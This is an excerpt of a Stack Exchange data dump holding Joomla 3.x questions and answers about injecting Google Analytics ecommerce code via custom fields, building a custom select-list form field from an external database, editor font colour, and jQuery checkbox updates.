  <row Id="22657" PostTypeId="1" CreationDate="2018-04-11T14:38:51.767" Score="0" ViewCount="430" Body="&lt;p&gt;We need to add some enhanced ecommerce tags to standard Google Analytics tracking on few pages. We think the best way to do it would be to use Joomla Custom fields so we created a custom field for testing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom field is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ID: '1'&#xA;Name: 'ec-js'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic display - off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;type: text&#xA;filter: no&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Show on: both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;value (in one article; for testing): 'ga('require', 'ec');'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template is Yootheme Infinite (Warp 6 based). We put the custom code in 'template.php', not in article override because we need it on every page including /search etc. So far we have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$jcFields = FieldsHelper::getFields('com_content.article', $item, true);&#xA;$itemCustomFields = array();&#xA;foreach($jcFields as $field) {&#xA;    $itemCustomFields[$field-&amp;gt;name] = $field;&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in body:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;            (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;            (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;            })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');&#xA;&#xA;            ga('create', 'UA-xxxx', 'auto');&#xA;            ga('require','displayfeatures');&#xA;            &amp;lt;?php echo $article-&amp;gt;itemCustomFields['ec-js']-&amp;gt;value; ?&amp;gt;&#xA;            ga('send', 'pageview');&#xA;            &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main GA code is displayed on all pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the contents of the custom field are not displayed on the test page containing the value - the override is clearly not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help with this would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE - 13/04/2018&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made some good progress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I override article default.php with the following PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$CCFields = array();&#xA;   foreach($this-&amp;gt;item-&amp;gt;jcfields as $field) {&#xA;      $CCFields[$field-&amp;gt;name] = $field-&amp;gt;value;&#xA;  } &#xA;&#xA;$GLOBALS['CCFields'] = $CCFields;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add to template.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script&amp;gt;&#xA;            (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;            (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;            })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');&#xA;&#xA;            ga('create', 'UA-xxxx', 'auto');&#xA;            ga('require','displayfeatures');&#xA;            &amp;lt;?php echo $GLOBALS['CCFields']['ec-js'] ?&amp;gt;&#xA;            ga('send', 'pageview');&#xA;      &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is GA JS with enhanced ecommerce tags nicely injected when needed - only with caching disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enable Joomla cache (conservative) the 'ec-js' field is not longer injected meaning the values of $GLOBALS['CCFields'] are not cached and are only available on 1st page load. Any successive page load e.g. 2nd or 3rd results in nothing injected as content of the array is not cached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make contents of $GLOBALS['CCFields'] cached?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12433" LastEditorUserId="12433" LastEditDate="2018-04-13T13:35:03.087" LastActivityDate="2024-03-16T02:00:45.060" Title="Custom fields - JS in template override" Tags="|joomla-3.x|template-override|custom-field|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22658" PostTypeId="2" ParentId="20579" CreationDate="2018-04-11T15:41:04.060" Score="3" Body="&lt;p&gt;The above answer is great, below is some code to add a title to the message. As a side note, you can also load other strings &amp;amp; use those to create a custom alert. The title of the string is added to the alerts main class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Joomla.JText.load({success: &quot;Success&quot;, custom_alert: &quot;Custom Alert&quot;});&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Joomla.renderMessages({'success': ['This has a title!'], 'custom_alert': ['This has a title!']});&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UHrlu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHrlu.png&quot; alt=&quot;custom message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above the custom alert has the class alert-custom_alert added.&lt;/p&gt;&#xA;" OwnerUserId="8804" LastActivityDate="2018-04-11T15:41:04.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22659" PostTypeId="1" AcceptedAnswerId="22669" CreationDate="2018-04-11T15:51:28.160" Score="2" ViewCount="1745" Body="&lt;p&gt;I am attempting to modify code that was created by Component Creator. The modification I am trying to make is to get the select list to save the partno instead of the index value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are two important notes:&lt;/strong&gt; 1. Component Creator assumes all tables are in the same Joomla databse so it created the code accordingly. 2. I have created a custom field type that connects to the other database and selects the data from the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all appears to work fine and the form saves the data to the table on submit. The drop down list displays my part numbers fine and allows me to select the one I want. The problem is that when I view the data in phpMyAdmin the table field partno has an integer which appears to be the index of the array behind the list (not the record ID in the table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in the ./site/views/[formname]/tmpl/default.php where the field is being rendered. I am not sure how to modify this to get the actual partno instead of the index to be saved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('partno'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach((array)$this-&amp;gt;item-&amp;gt;partno as $value): ?&amp;gt;&#xA;    &amp;lt;?php var_dump($value); ?&amp;gt;&#xA;    &amp;lt;?php if(!is_array($value)): ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; class=&quot;partno&quot; name=&quot;jform[partnohidden][&amp;lt;?php echo $value; ?&amp;gt;]&quot; value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot; /&amp;gt;';&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;generated HTML for list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;    &amp;lt;label id=&quot;jform_partno-lbl&quot; for=&quot;jform_partno&quot;&amp;gt;&#xA;    Partno&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;select id=&quot;jform_partno&quot; name=&quot;jform[partno]&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;0&quot;&amp;gt;              for [1/2 FPT SCH&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;1&quot;&amp;gt;              for [3/4 FPT SCH&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;2&quot;&amp;gt;         -&amp;amp;gt; [GALLOUP3140777 3/&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;3&quot;&amp;gt;         -&amp;amp;gt; [GALLOUP3206216 1/&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;4&quot;&amp;gt;       (B) DYN-AVI DA1246023-1&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;5&quot;&amp;gt;       and (C) DYN-AVI DA12460&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;6&quot;&amp;gt;   1. NO REDUCTION IN TUBING D&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;7&quot;&amp;gt;   2. NO BURRS ALLOWED ON THE &amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;8&quot;&amp;gt;   3. HOLES MAY BE DRILLED PRI&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;9&quot;&amp;gt;   4. HOLES ARE 90 Degrees +/-&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;10&quot;&amp;gt;   5. HELIX PITCH IS 163 +/- 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;div class=&quot;chzn-container chzn-container-single&quot; style=&quot;width: 220px;&quot; title=&quot;&quot; id=&quot;jform_partno_chzn&quot;&amp;gt;&#xA;      &amp;lt;a class=&quot;chzn-single&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;              for [1/2 FPT SCH&amp;lt;/span&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;      &amp;lt;div class=&quot;chzn-drop&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;chzn-search&quot;&amp;gt;&#xA;           &amp;lt;input autocomplete=&quot;off&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul class=&quot;chzn-results&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are two additional files that have been requested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./site/models/forms/taskform.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;field name=&quot;id&quot; type=&quot;text&quot; readonly=&quot;true&quot; class=&quot;readonly&quot; default=&quot;0&quot; description=&quot;JGLOBAL_FIELD_ID_DESC&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;task&quot; required=&quot;true&quot; message=&quot;Please enter a task.&quot; label=&quot;COM_TODO_FORM_LBL_TASK_TASK&quot; description=&quot;COM_TODO_FORM_DESC_TASK_TASK&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_TASK&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;description&quot; cols=&quot;80&quot; rows=&quot;6&quot; filter=&quot;safehtml&quot; type=&quot;textarea&quot; label=&quot;COM_TODO_FORM_LBL_TASK_DESCRIPTION&quot; description=&quot;COM_TODO_FORM_DESC_TASK_DESCRIPTION&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_DESCRIPTION&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;due_date&quot; class=&quot;inputbox&quot; format=&quot;%d-%m-%Y&quot; timeformat=&quot;12&quot; filter=&quot;server_utc&quot; minyear=&quot;-1&quot; showtime=&quot;false&quot; singleheader=&quot;true&quot; todaybutton=&quot;false&quot; weeknumbers=&quot;false&quot; filltable=&quot;false&quot; type=&quot;calendar&quot; label=&quot;COM_TODO_FORM_LBL_TASK_DUE_DATE&quot; description=&quot;COM_TODO_FORM_DESC_TASK_DUE_DATE&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_DUE_DATE&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;task_status&quot; type=&quot;foreignkey&quot; label=&quot;COM_TODO_FORM_LBL_TASK_TASK_STATUS&quot; description=&quot;COM_TODO_FORM_DESC_TASK_TASK_STATUS&quot; class=&quot;inputbox&quot; input_type=&quot;list&quot; table=&quot;#__todo_status&quot; key_field=&quot;id&quot; value_field=&quot;task_status&quot; required=&quot;true&quot; default=&quot;&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;partno&quot; key_field=&quot;partno&quot; value_field=&quot;partno&quot; type=&quot;e2part&quot; label=&quot;COM_TODO_FORM_LBL_TASK_PARTNO&quot; description=&quot;COM_TODO_FORM_DESC_TASK_PARTNO&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_PARTNO&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;assigned_to&quot; query=&quot;SELECT * FROM #__contact_details WHERE published = 1 ORDER BY name&quot; key_field=&quot;id&quot; value_field=&quot;name&quot; type=&quot;sql&quot; label=&quot;COM_TODO_FORM_LBL_TASK_ASSIGNED_TO&quot; description=&quot;COM_TODO_FORM_DESC_TASK_ASSIGNED_TO&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_ASSIGNED_TO&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;created&quot; type=&quot;timecreated&quot; label=&quot;COM_TODO_FORM_LBL_TASK_CREATED&quot; description=&quot;COM_TODO_FORM_DESC_TASK_CREATED&quot; hidden=&quot;true&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_CREATED&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;modified&quot; type=&quot;timecreated&quot; label=&quot;COM_TODO_FORM_LBL_TASK_MODIFIED&quot; description=&quot;COM_TODO_FORM_DESC_TASK_MODIFIED&quot; hidden=&quot;true&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_MODIFIED&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;version_note&quot; type=&quot;text&quot; label=&quot;JGLOBAL_FIELD_VERSItoON_NOTE_LABEL&quot; description=&quot;JGLOBAL_FIELD_VERSION_NOTE_DESC&quot; class=&quot;inputbox&quot; size=&quot;45&quot; labelclass=&quot;control-label&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;accesscontrol&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;asset_id&quot; type=&quot;hidden&quot; filter=&quot;unset&quot;/&amp;gt;&#xA;    &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; label=&quot;JFIELD_RULES_LABEL&quot; translate_label=&quot;false&quot; filter=&quot;rules&quot; validate=&quot;rules&quot; class=&quot;inputbox&quot; component=&quot;com_todo&quot; section=&quot;task&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;./site/models/fields/e2part.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldE2Part extends JFormFieldList {&#xA;&#xA;    protected $type = 'e2part';&#xA;&#xA;    public function getOptions() {&#xA;                $app = JFactory::getApplication();&#xA;                $partno = $app-&amp;gt;input-&amp;gt;get('partno'); // partno is the dynamic value which is being used in the view&#xA;&#xA;                $servername = &quot;localhost&quot;;&#xA;                $username = &quot;someuser&quot;;&#xA;                $password=&quot;somepassword&quot;;&#xA;                $dbname = &quot;bmp&quot;;&#xA;                $table = &quot;estim&quot;;&#xA;&#xA;                $db= new mysqli($servername, $username, $password, $dbname);&#xA;&#xA;                if ($db-&amp;gt;connect_error){&#xA;                    die(&quot;E2 Part (Estim) Connection failed: &quot; . $conn_error);&#xA;                }&#xA;&#xA;                $query  = &quot;SELECT a.PartNo FROM &quot; . $table . &quot; AS a &quot;;&#xA;                $query .= &quot;WHERE a.PartNo &amp;gt; '' &quot;;&#xA;                $query .= &quot;ORDER BY PartNo&quot;;&#xA;                $result = mysqli_query($db, $query);&#xA;&#xA;&#xA;                if($result){&#xA;                    //output parts&#xA;                    while($row = mysqli_fetch_assoc($result)) { &#xA;                        $parts[] = $row[&quot;PartNo&quot;];&#xA;                    }&#xA;                }else {&#xA;                    die(&quot;E2 Part (Estim) Query failed: &quot;);&#xA;                }&#xA;&#xA;&#xA;                // Merge any additional options in the XML definition.&#xA;                $options = array_merge(parent::getOptions(), $parts);&#xA;                return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12336" LastEditorUserId="12336" LastEditDate="2018-04-12T14:14:57.277" LastActivityDate="2018-04-12T23:09:20.797" Title="Problems with Custom form field select list" Tags="|joomla-3.x|custom-component|form-fields-types|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22660" PostTypeId="2" ParentId="22654" CreationDate="2018-04-11T16:17:31.270" Score="1" Body="&lt;p&gt;You may create your own custom fields to use throughout Joomla. Try checking out this documentation first to see if standard Joomla functionality meets your needs. If not, you will have to write your own component/module/plugin or use an extension.&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-04-11T16:17:31.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22661" PostTypeId="2" ParentId="22623" CreationDate="2018-04-11T16:37:11.783" Score="0" Body="&lt;p&gt;It seems to me that you are missing the following lines (which effectively execute the update operation):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you check?&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-04-11T16:37:11.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22663" PostTypeId="1" AcceptedAnswerId="22666" CreationDate="2018-04-11T18:16:35.763" Score="0" ViewCount="391" Body="&lt;p&gt;I'm having trouble with my article font colour.&#xA;The Default Font colour in TinyMce is &quot;No Colour&quot;. And I have to constantly change the font colour to black.&#xA;It is not too much of a problem, but it has had a rollover effect onto my Default pages like my login page. The text doesn't show as it is obviously set to default &quot;No Colour&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have scoured global settings and The System, also the TinyMce module settings but nothing seems to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody suggest anything?&lt;/p&gt;&#xA;" OwnerUserId="12435" LastActivityDate="2018-05-12T15:59:04.850" Title="changing default article font colour" Tags="|tinymce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22666" PostTypeId="2" ParentId="22663" CreationDate="2018-04-11T23:41:04.903" Score="1" Body="&lt;p&gt;'No color' is the correct option. You should add some custom css to your site to control the the colour of your text.  Note: the 'no color' option does not mean transparent; it means no inline style will be applied to the html tag by the editor.  If you cannot see the text, then you have a css problem, not a wysiwyg problem.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-11T23:41:04.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22667" PostTypeId="2" ParentId="22659" CreationDate="2018-04-12T10:05:06.223" Score="3" Body="&lt;p&gt;You can check the field from where it is coming,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? php echo $this-&amp;gt;form-&amp;gt;renderField('partno'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line rendering your field 'partno', by looking into generated html it seems it is jform , So you need to go to &#xA; &quot;site/components/[component_name]/models/forms/form_name.xml file&quot; &#xA;check the field name as 'partno' it might be sql field or list field&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it is sql field check the 'key_field' attribute and 'value_field', So it might have as below key_field=&quot;id&quot; so you need to update this line to use value whatever you want to save when form submits. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-04-12T10:05:06.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22668" PostTypeId="2" ParentId="22663" CreationDate="2018-04-12T15:46:19.303" Score="0" Body="&lt;p&gt;You probably have a problem with your template. If this is a template you purchased, you may want to contact the developer that produced it. If you are comfortable with editing CSS code, then you may want to take a look at the &lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Documentation for modifying a template&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-04-12T15:46:19.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22669" PostTypeId="2" ParentId="22659" CreationDate="2018-04-12T23:09:20.797" Score="3" Body="&lt;p&gt;raVan96 is bang on, you should have either a sql field or a list field. But, what you have was an sql field that you have replaced with a custom list field.  There are two main issues.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The form xml field attributes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;key_field and value_field only apply to sql fields, not to list fields. Hence, they are doing nothing here and you should remove them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;partno&quot; key_field=&quot;partno&quot; value_field=&quot;partno&quot; type=&quot;e2part&quot; label=&quot;COM_TODO_FORM_LBL_TASK_PARTNO&quot; description=&quot;COM_TODO_FORM_DESC_TASK_PARTNO&quot; hint=&quot;COM_TODO_FORM_LBL_TASK_PARTNO&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The custom list field&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You've copied the example from the documentation, but that example is not very generic and does things which don't apply to you.  I've put comments inline and removed the unneeded bits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldE2Part extends JFormFieldList {&#xA;&#xA;    protected $type = 'e2part';&#xA;&#xA;    public function getOptions() {&#xA;        $servername = &quot;localhost&quot;;&#xA;        $username = &quot;someuser&quot;;&#xA;        $password=&quot;somepassword&quot;;&#xA;        $dbname = &quot;bmp&quot;;&#xA;        $table = &quot;estim&quot;;&#xA;&#xA;        $db= new mysqli($servername, $username, $password, $dbname);&#xA;&#xA;        if ($db-&amp;gt;connect_error){&#xA;            die(&quot;E2 Part (Estim) Connection failed: &quot; . $conn_error);&#xA;        }&#xA;&#xA;        // Get the two columns for the value and text of the option,&#xA;        // but in your case it's just one column!&#xA;        $query  = &quot;SELECT PartNo FROM &quot; . $table;&#xA;        $query .= &quot; WHERE PartNo &amp;gt; ''&quot;;&#xA;        $query .= &quot; ORDER BY PartNo&quot;;&#xA;        $result = mysqli_query($db, $query);&#xA;&#xA;        // Build the options as $options[value] = text&#xA;        $parts = [];&#xA;        if($result){&#xA;            while($row = mysqli_fetch_assoc($result)) { &#xA;                $parts[$row[&quot;PartNo&quot;]] = $row[&quot;PartNo&quot;];&#xA;            }&#xA;        }else {&#xA;            die(&quot;E2 Part (Estim) Query failed: &quot;);&#xA;        }&#xA;        return $parts;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-12T23:09:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22671" PostTypeId="1" AcceptedAnswerId="22672" CreationDate="2018-04-13T08:32:49.087" Score="2" ViewCount="309" Body="&lt;p&gt;I have a repeatable subform, that has a number of checkboxes that are effected by the selections made in a list field that is also part of the subform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a onchange function the the list field so when it changes it triggers my little watcher function, that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// little script to check value and give notice&#xA;function watcherFunction(field) {&#xA;    // get the ID&#xA;    var id = jQuery(field).attr('id');&#xA;    // build the target array&#xA;    var target = id.split('__');&#xA;    // get value&#xA;    var value = jQuery(field).val();&#xA;    // set notice and do house cleaning&#xA;    if (2 == value) {&#xA;        // no database&#xA;        jQuery.UIkit.notify({message: Joomla.JText._('COM_COMPONENTBUILDER_ONLY_USE_THE_BNONE_DBB_OPTION_IF_YOU_ARE_PLANNING_ON_TARGETING_THIS_FIELD_WITH_JAVASCRIPTCUSTOM_PHP_TO_MOVE_ITS_VALUE_INTO_ANOTHER_FIELD_THAT_DOES_GET_SAVED_TO_THE_DATABASE'), timeout: 10000, status: 'warning', pos: 'top-center'});&#xA;        jQuery.UIkit.notify({message: Joomla.JText._('COM_COMPONENTBUILDER_THE_BNONE_DBB_OPTION_WILL_REMOVE_THIS_FIELD_FROM_BEING_SAVED_IN_THE_DATABASE'), timeout: 5000, status: 'primary', pos: 'top-center'});&#xA;        // do some house cleaning&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__title').prop('checked', true);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__alias').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__sort').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__search').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__filter').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__link').prop('checked', false);&#xA;    } else if (1 == value) {&#xA;        // show in list view&#xA;        jQuery.UIkit.notify({message: Joomla.JText._('COM_COMPONENTBUILDER_THE_BSHOW_IN_LIST_VIEWB_OPTION_WILL_ADD_THIS_FIELD_TO_THE_ADMIN_LIST_VIEW'), timeout: 5000, status: 'primary', pos: 'top-center'});      &#xA;    } else {&#xA;        // do some house cleaning&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__sort').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__filter').prop('checked', false);&#xA;        jQuery('#'+target[0]+'__'+target[1]+'__link').prop('checked', false);       &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is that it update a number of checkboxes and send out some notice to the user if the value is 2 and 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notices get send so I know it works, &lt;strong&gt;but I am just not able to get the update of the checkboxes to work&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkboxes HTML look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;jform[addfields][addfields1][title]&quot; id=&quot;jform_addfields__addfields1__title&quot; value=&quot;1&quot; class=&quot;inputbox&quot; aria-invalid=&quot;false&quot; type=&quot;checkbox&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ANY HELP WILL BE GREAT!!!&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2166" LastEditDate="2018-04-13T10:14:02.223" LastActivityDate="2018-04-13T17:36:03.777" Title="Javascript to update input checkbox in a Joomla subform" Tags="|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22672" PostTypeId="2" ParentId="22671" CreationDate="2018-04-13T09:20:57.213" Score="2" Body="&lt;p&gt;You need to trigger the &lt;code&gt;change&lt;/code&gt; event after changing the value of the checkbox. You can do this as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(checkbox).prop(&quot;checked&quot;, true).trigger(&quot;change&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More about this here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.jquery.com/topic/should-chk-prop-checked-true-trigger-change-event&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.jquery.com/topic/should-chk-prop-checked-true-trigger-change-event&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6862" LastEditorUserId="168" LastEditDate="2018-04-13T17:36:03.777" LastActivityDate="2018-04-13T17:36:03.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
